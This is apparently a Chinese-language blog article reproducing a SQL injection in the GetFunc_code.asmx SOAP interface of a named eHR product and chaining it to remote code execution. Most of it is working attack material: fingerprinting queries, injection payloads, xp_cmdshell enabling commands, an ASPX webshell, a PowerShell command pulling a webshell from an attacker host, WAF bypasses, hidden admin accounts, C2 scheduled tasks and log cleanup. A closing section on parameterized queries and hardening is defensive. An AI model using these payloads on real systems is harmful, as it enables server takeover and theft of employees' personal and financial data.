从SQL注入到RCE:朗新天霁eHR系统漏洞链分析与实战复现
2026/7/6 12:37:21 网站建设 项目流程

1. 项目概述:从SQL注入到RCE的惊险一跃

最近在梳理一些老牌企业应用系统的安全风险时,朗新天霁的eHR人力资源管理系统进入了我的视线。这套系统在很多企事业单位里都有部署,负责管理着核心的人事、考勤、薪酬数据,其安全性不言而喻。然而,安全研究往往揭示出理想与现实的差距。这次要复现的,就是其GetFunc_code.asmx接口存在的一个SQL注入漏洞。更关键的是,这个注入点并非简单的数据泄露,在特定条件下,它能够成为一枚跳板,最终实现远程代码执行。对于安全从业者而言,理解这类从“注入”到“RCE”的完整攻击链至关重要,它不仅能帮助我们更有效地进行渗透测试和漏洞验证,更能深刻理解防御的薄弱环节究竟在哪里。这篇文章,我就来详细拆解这个漏洞的发现、利用过程,并分享一些在复现过程中踩过的坑和总结的技巧。

2. 漏洞背景与核心原理剖析

2.1 朗新天霁eHR系统与SOAP接口

朗新天霁eHR是一套基于B/S架构的人力资源管理软件,通常采用.NET技术栈开发。在它的Web服务层,存在大量以.asmx为后缀的Web Service文件,这是ASP.NET Web Services的标准文件格式。GetFunc_code.asmx就是其中之一,它对外提供基于SOAP协议的API接口。

SOAP是一种基于XML的协议,用于在Web上交换结构化信息。攻击面就藏在这里:虽然SOAP消息本身是XML格式,但服务端在处理时,最终还是会将XML节点中的参数值提取出来,拼接进数据库查询语句中。如果开发人员没有对用户输入的参数进行严格的过滤和预编译处理,那么一个精心构造的XML节点值,就能打破原有SQL语句的结构,这就是SOAP接口SQL注入的由来。

2.2 SQL注入点定位与利用逻辑

根据公开的漏洞信息,问题出在GetFunc_code.asmx接口的GetMessage方法上。该方法接收一个名为loginName的参数。正常的SOAP请求中,<loginName>标签内是一个合法的用户名。但漏洞在于,服务端代码可能直接使用了字符串拼接的方式来构造SQL查询,例如:

string sql = "SELECT * FROM UserTable WHERE LoginName = '" + loginName + "'";

当攻击者将loginName参数值设置为1' UNION SELECT ... --时,拼接后的SQL语句就变成了:

SELECT * FROM UserTable WHERE LoginName = '1' UNION SELECT ... --'

--是SQL注释符,它注释掉了原查询的后半部分,使得攻击者能够完全控制查询逻辑,执行任意的UNION查询,从而泄露数据库信息。

注意:在实际的.NET环境中,数据库可能是MSSQL。上述POC中使用了ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32)),这是一个典型的用于获取MSSQL当前数据库用户名的技巧,SYSTEM_USER是MSSQL的系统函数。这也侧面印证了目标系统的技术栈。

2.3 从信息泄露到RCE的关键路径

单纯的数据库信息泄露(如用户名、密码哈希、表数据)危害已经很大,但攻击者往往追求更高的权限——远程代码执行。在MSSQL数据库环境下,从SQL注入到RCE,通常依赖于以下几个关键能力,它们环环相扣:

  1. 获取高权限数据库账户:首先需要通过注入查询,确认当前数据库连接所使用的账户权限。如果是sa(系统管理员)或具有sysadmin服务器角色的账户,那么几乎可以执行任何数据库操作,包括RCE。
  2. 启用/利用扩展存储过程:MSSQL提供了xp_cmdshell这个扩展存储过程,它允许在数据库服务器上执行操作系统命令。但默认情况下它是禁用的。
  3. 利用注入点执行系统命令:一旦确认有足够权限,就可以通过注入执行SQL语句来启用xp_cmdshell,然后直接调用它来运行系统命令,从而实现RCE。

整个攻击链的逻辑非常清晰:利用未过滤的SOAP参数进行SQL注入 -> 获取或提升数据库权限 -> 启用危险组件 -> 执行操作系统命令。下面,我们就进入实战复现环节。

3. 环境搭建与漏洞复现实操

3.1 目标环境探测与识别

在开始测试之前,绝对不要对未经授权的真实系统进行任何操作。我们所有的复现都应在授权的测试环境或自建的靶场中进行。

识别特征:根据网络空间测绘引擎(如FoFa)的语法,朗新天霁eHR系统的前端页面通常包含“人力资源管理系统”和“Silverlight”关键词。Silverlight是其前端可能使用的技术,这成为一个有效的指纹特征。在内部测试中,我们可以直接访问疑似路径/ws/GetFunc_code.asmx,如果返回一个描述Web Service的WSDL页面,则基本可以确认该接口存在。

工具准备:本次复现主要使用Burp Suite作为HTTP代理和重放工具。因为漏洞利用涉及精确的SOAP XML构造,手动在Burp中编辑请求比使用自动化扫描器更可靠。同时,需要准备一个简单的HTTP服务器(例如用Python的http.server模块)来托管后续可能需要的Payload文件。

3.2 初步SQL注入验证

首先,我们发送一个正常的SOAP请求,以了解接口格式。使用Burp Suite抓取或构造如下请求:

POST /ws/GetFunc_code.asmx HTTP/1.1 Host: [target_ip]:[port] Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/GetMessage" Content-Length: [length] <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetMessage xmlns="http://tempuri.org/"> <loginName>testUser</loginName> </GetMessage> </soap:Body> </soap:Envelope>

如果服务正常,可能会返回一个包含查询结果的XML响应,或者一个错误信息(但非SQL错误)。

接下来,进行注入验证。修改<loginName>标签内的值为经典的探测Payload:test' OR '1'='1。请求包变为:

<loginName>test' OR '1'='1</loginName>

观察响应。如果返回的数据异常增多(因为OR '1'='1条件永真),或者返回了与正常请求不同的错误信息(如包含SQL语法错误详情),则初步判断存在注入点。

为了进一步确认注入类型和数据库,我们使用一个更精确的Payload。将loginName替换为:

<loginName>1' AND '1'='1</loginName>

再发送一次请求,记录响应。然后,再发送:

<loginName>1' AND '1'='2</loginName>

对比两次响应。如果第一次响应正常(有数据或特定状态),第二次响应异常(无数据、错误或明显不同),则说明注入点有效,且属于“基于布尔”的盲注类型。这是非常关键的一步,它决定了我们后续利用的方式。

3.3 利用UNION查询获取系统信息

确认注入存在后,下一步是利用UNION查询获取数据库信息。这需要先判断查询的列数。通过ORDER BY子句来探测:

<loginName>1' ORDER BY 5-- </loginName>

逐渐增加ORDER BY后面的数字(如5, 10, 15...),直到服务器返回错误(如“ORDER BY position 超出范围”)。假设ORDER BY 10成功而ORDER BY 11失败,则说明原查询返回10列。

接着,构造UNION查询。我们需要让前后查询的列数一致。先使用NULL占位符:

<loginName>1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- </loginName>

如果请求成功,说明列数匹配。接下来,需要判断每一列的数据类型,以便放置我们想获取的信息。可以逐一将某个NULL替换为字符串(如'test')或数字(如1),观察是否报错。假设我们探测出第2列是字符串类型。

现在,可以获取关键信息了。获取当前数据库用户:

<loginName>1' UNION ALL SELECT NULL, SYSTEM_USER, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- </loginName>

获取当前数据库名:

<loginName>1' UNION ALL SELECT NULL, DB_NAME(), NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- </loginName>

实操心得:在构造UNION Payload时,--后面的空格至关重要。在SQL中,--是单行注释,但很多解析器要求后面跟一个空格或制表符才能真正注释掉后续内容。直接写--有时会导致语法错误。因此,我习惯写成--(有一个空格)或--+(加号在URL中常被解释为空格)。

3.4 权限提升与xp_cmdshell启用

通过上一步,我们假设已经获取到当前数据库用户是sa或具有高权限的角色。现在,目标是执行系统命令。在MSSQL中,这通常通过xp_cmdshell实现。

首先,尝试直接调用xp_cmdshell,看是否已启用:

<loginName>1'; EXEC master..xp_cmdshell 'whoami'-- </loginName>

注意这里使用了分号;来分隔多条SQL语句。如果返回错误提示xp_cmdshell被禁用,则需要先启用它。

启用xp_cmdshell的步骤(需要sysadmin权限):

  1. 启用高级选项:
    <loginName>1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE-- </loginName>
  2. 启用xp_cmdshell
    <loginName>1'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE-- </loginName>
  3. 再次尝试执行命令:
    <loginName>1'; EXEC master..xp_cmdshell 'whoami'-- </loginName>

如果成功,响应包中可能会包含命令执行的结果输出。例如,whoami命令可能返回nt authority\system或类似的系统级权限,这标志着我们已经成功通过数据库注入获得了服务器的命令执行权限,即实现了RCE。

3.5 写入WebShell实现持久化访问

获得命令执行能力后,为了更方便地控制服务器,通常会尝试写入一个WebShell到网站的可访问目录。首先,需要找到网站的物理路径。可以通过一些MSSQL特性或执行命令来寻找。

方法一:通过错误信息。尝试访问一个不存在的.asmx文件,有时错误页面会暴露物理路径。方法二:通过命令遍历。使用xp_cmdshell执行查找命令,例如:

<loginName>1'; EXEC master..xp_cmdshell 'dir c:\inetpub /s /b | findstr .aspx'-- </loginName>

这个命令会在C:\inetpub目录下递归查找.aspx文件,从而定位网站目录。

假设我们找到了路径C:\inetpub\wwwroot\ehr。接下来,写入一个简单的ASP.NET WebShell。我们可以用echo命令逐行写入文件。这里写入一个最简单的CMD Shell(cmd.aspx):

<loginName>1'; EXEC master..xp_cmdshell 'echo ^<%@ Page Language="C#" %^> > c:\inetpub\wwwroot\ehr\cmd.aspx'-- </loginName> <loginName>1'; EXEC master..xp_cmdshell 'echo ^<%@ Import Namespace="System.Diagnostics"%^> >> c:\inetpub\wwwroot\ehr\cmd.aspx'-- </loginName> <loginName>1'; EXEC master..xp_cmdshell 'echo ^<% try { Process proc = new Process(); proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = "/c " + Request["cmd"]; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); Response.Write(proc.StandardOutput.ReadToEnd()); } catch(Exception ex) { Response.Write(ex.Message); } %^> >> c:\inetpub\wwwroot\ehr\cmd.aspx'-- </loginName>

踩坑记录:在通过echo>>重定向写入多行内容时,XML和CMD的特殊字符(如<,>,&)需要转义。在CMD中,^是转义字符。在XML中,<&需要分别写成&lt;&amp;,这会导致构造极其复杂且容易出错。更稳妥的方法是,先在攻击机本地写好WebShell文件,然后通过xp_cmdshell调用certutilbitsadminpowershell从远程下载。例如,使用PowerShell下载:

<loginName>1'; EXEC master..xp_cmdshell 'powershell -c Invoke-WebRequest -Uri http://your-ip/shell.aspx -OutFile c:\inetpub\wwwroot\ehr\shell.aspx'-- </loginName>

这种方法成功率高,且能写入更复杂的WebShell。

写入成功后,访问http://target_ip/ehr/cmd.aspx?cmd=whoami,如果返回了命令执行结果,则说明WebShell写入成功,获得了更稳定的控制通道。

4. 漏洞深度利用与拓展技巧

4.1 绕过可能的防御与过滤机制

在实际环境中,系统可能部署了WAF(Web应用防火墙)或应用层有简单的过滤。针对这个SOAP接口的注入,我们可以尝试一些绕过技巧:

  1. 大小写混合/双写绕过:如果过滤了SELECTUNION等关键词,可以尝试SeLeCtUNIunionON
  2. 注释符分割:利用SQL注释符/**/分割关键词,如SEL/**/ECT
  3. 编码绕过:对Payload进行URL编码、双重URL编码、Unicode编码等。由于SOAP请求体是XML,也可以尝试XML实体编码,但要注意服务端解码的顺序。
  4. 参数污染:尝试在SOAP消息中重复<loginName>参数,或者添加无意义的命名空间,看是否能干扰解析逻辑。
  5. 利用SOAP特性:SOAP允许定义命名空间。可以尝试在Payload中插入无关的XML命名空间声明,或者将注入语句放在CDATA区块中(如果服务端解析不当),但这需要具体测试。

4.2 信息收集与横向移动

获得RCE权限后,不应止步于单台服务器。需要进行深入的信息收集,为可能的横向移动做准备。

  • 收集系统信息:执行systeminfowhoami /allnet localgroup administrators等命令,了解系统版本、补丁情况、当前权限和本地管理员。
  • 收集网络信息:执行ipconfig /allroute printarp -anetstat -ano,绘制内网拓扑,发现其他存活主机和开放端口。
  • 查找敏感文件与凭证:搜索配置文件(web.configappsettings.json)、数据库连接字符串、备份文件、用户目录下的密码本等。
  • 转储数据库数据:既然已经具备数据库高权限,可以直接通过SQL语句导出核心的HR数据,如员工身份证号、银行卡号、薪酬信息等,评估数据泄露风险。

4.3 权限维持与清理痕迹

在授权测试中,为了证明漏洞危害,有时需要维持访问。除了WebShell,还可以考虑:

  • 创建计划任务:通过schtasks命令创建定时任务,定期连接C2服务器。
  • 创建隐藏用户:通过net user命令添加一个隐藏的、具有管理员权限的账户。
  • 安装SSH或其它后门服务:如果环境允许,可以上传并安装一个轻量级的SSH服务端。

更重要的是清理痕迹:在测试结束后,务必删除上传的WebShell文件、清理命令行历史(对于MSSQL,xp_cmdshell的执行记录可能会留在SQL Server错误日志或Windows事件日志中)、删除创建的用户或任务。将环境恢复到测试前的状态,是专业安全测试的基本要求。

5. 漏洞修复与安全加固建议

复现漏洞的最终目的是为了修复和防御。针对这个漏洞链,可以从多个层面进行加固:

5.1 代码层修复(根本解决)

  • 使用参数化查询(预编译语句):这是防御SQL注入最有效、最根本的方法。无论是使用ADO.NET的SqlParameter还是Entity Framework等ORM框架,都应确保所有用户输入都作为参数传递,而非字符串拼接。
    // 错误示例(拼接) string sql = "SELECT * FROM Users WHERE LoginName = '" + loginName + "'"; // 正确示例(参数化) string sql = "SELECT * FROM Users WHERE LoginName = @loginName"; SqlCommand cmd = new SqlCommand(sql, connection); cmd.Parameters.AddWithValue("@loginName", loginName);
  • 对输入进行严格的校验和过滤:在参数化查询的基础上,增加白名单校验。例如,loginName参数可以限制为特定字符集(字母、数字、下划线)和长度。
  • 最小权限原则:用于连接数据库的应用程序账户,不应使用sa等高权限账户。应创建一个仅具有所需表SELECT/UPDATE等最小权限的专用账户。这样即使发生注入,攻击者也无法启用xp_cmdshell或执行高危操作。
  • 移除或禁用不必要的扩展存储过程:在生产环境中,如果没有业务需要,应禁用xp_cmdshellxp_regread等危险的扩展存储过程。
    EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;

5.2 系统与网络层加固

  • 及时更新与打补丁:保持操作系统、.NET Framework、SQL Server以及朗新天霁eHR系统本身处于最新版本,修复已知的安全漏洞。
  • 部署WAF:在应用前端部署Web应用防火墙,可以有效地拦截和阻断常见的SQL注入、RCE等攻击Payload。
  • 网络隔离与访问控制:将数据库服务器部署在内网,与Web服务器分离,并严格限制访问源。仅允许Web服务器通过特定端口访问数据库。
  • 加强日志审计与监控:启用并集中收集数据库的SQL审计日志、Windows安全日志和Web服务器访问日志。设置告警规则,对异常查询(如包含xp_cmdshellUNION SELECT)、异常文件创建(如.aspx文件写入web目录)等行为进行实时告警。

5.3 安全开发生命周期(SDL)融入

对于朗新天霁这样的软件开发商,应将安全融入开发流程:

  • 安全培训:对开发人员进行持续的安全编码培训,重点讲解SQL注入、命令注入等OWASP Top 10漏洞。
  • 代码审计:在开发过程中和上线前,引入静态应用程序安全测试(SAST)工具和人工代码审计,及时发现并修复此类漏洞。
  • 渗透测试:定期聘请第三方专业安全团队对产品进行黑盒/白盒渗透测试,模拟真实攻击,发现潜在风险。

6. 复现过程中的常见问题与排查

在复现这个漏洞时,我遇到了几个典型问题,这里分享排查思路:

  1. 发送Payload后返回“500内部服务器错误”,但没有具体的SQL错误信息。

    • 排查:这可能是Payload触发了服务端未处理的异常,导致通用错误页。首先检查Payload的语法是否正确,特别是XML格式是否良好(标签闭合、特殊字符转义)。可以尝试更简单的Payload,如test'(一个单引号),看是否报错。如果依然500,可能是WAF拦截或服务端有全局异常处理。尝试在Payload中添加大量空白字符或注释进行混淆。
  2. UNION查询确定列数时,ORDER BY N一直不报错,直到一个很大的数字。

    • 排查:这可能说明原查询返回的列数非常多,或者ORDER BY子句被以某种方式处理/忽略了。可以换用UNION SELECT NULL,NULL,...的方式,从1个NULL开始递增,直到请求成功为止,来反推列数。
  3. 启用xp_cmdshell时,提示“配置选项‘xp_cmdshell’不存在”。

    • 排查:这可能是因为当前数据库版本(如SQL Server Express)不支持xp_cmdshell,或者当前用户权限极低,连查看配置的权限都没有。可以先执行SELECT @@version查看数据库版本和权限。如果没有xp_cmdshell,可以尝试其他命令执行方法,如利用SQL Server Agent作业、CLR集成等,但这些要求更高权限且配置更复杂。
  4. 通过xp_cmdshell执行命令成功,但无回显。

    • 排查xp_cmdshell执行某些命令可能没有输出,或者输出被丢弃。可以尝试将命令输出重定向到Web目录下的一个文件,然后通过HTTP访问该文件来读取结果。
      <loginName>1'; EXEC master..xp_cmdshell 'whoami > c:\inetpub\wwwroot\result.txt'-- </loginName>
      然后访问http://target/result.txt查看。也可以尝试执行ping命令,并通过ICMP流量或DNS日志来判断命令是否执行。
  5. 写入WebShell时,提示“访问被拒绝”。

    • 排查:这通常是权限问题。xp_cmdshell默认以SQL Server服务账户的身份运行命令。该账户可能对Web目录没有写权限。可以尝试写入到临时目录C:\Windows\Temp,或者通过icacls命令查看并修改目录权限(如果SQL Server账户有相应权限的话)。另一个思路是,先通过命令执行上传一个提权工具,尝试提升权限后再进行写入操作。

这个从朗新天霁eHR一个SOAP接口的SQL注入,到最终实现RCE的完整链条,清晰地展示了一个表面看似“仅数据泄露”的中危漏洞,在缺乏纵深防御的环境下如何演变成夺取服务器控制权的严重威胁。对于企业而言,修补此类漏洞刻不容缓;对于安全研究者,理解并能够复现此类链式攻击,是提升实战能力的关键。在测试过程中,耐心、细致的观察和对每个环节原理的深入理解,往往比盲目使用自动化工具更为重要。每一次成功的漏洞复现,都是对自身知识体系的一次巩固和拓展。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询